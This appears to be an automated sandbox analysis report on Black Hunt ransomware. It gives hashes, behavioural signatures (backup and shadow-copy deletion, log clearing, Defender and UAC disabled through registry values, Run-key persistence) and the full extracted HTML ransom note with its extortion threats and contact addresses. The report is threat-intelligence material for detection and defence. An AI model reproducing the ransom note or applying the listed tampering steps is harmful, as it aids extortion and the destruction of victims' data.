e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Size

707KB
MD5

9ee53b40810fe20657655141d1f42236
SHA1

6216215b150319687a4b0c6af84e75b38b5b8686
SHA256

e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281
SHA512

f118a1a7d0b96446dbbf3201ee02ba5f4c4539874824f7a4759704779a222aa9d1d3b93e92784df702ce2e5b6669038aeef26ce8382a6729eb3bc1233fbad3de
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1K8mvnh:6uaTmkZJ+naie5OTamgEoKxLWRYh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> xbWV1HnZnPG8PMaE </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1672	fsutil.exe
3800	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3316	wevtutil.exe
2584	wevtutil.exe
3504	wevtutil.exe
3220	wevtutil.exe
3724	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1544	bcdedit.exe
2444	bcdedit.exe
2128	bcdedit.exe
2472	bcdedit.exe

Renames multiple (2887) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1912	wbadmin.exe
3756	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3748	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\J:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\X:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\R:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\U:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\G:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\H:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\S:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\V:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\Y:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\B:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\N:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\E:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\P:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\K:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\Z:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\I:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\O:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\L:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened (read-only)	\??\M:	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Lima	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_TW.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-14	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_ja_4.4.0.v20140623020002.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\javafx-mx.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
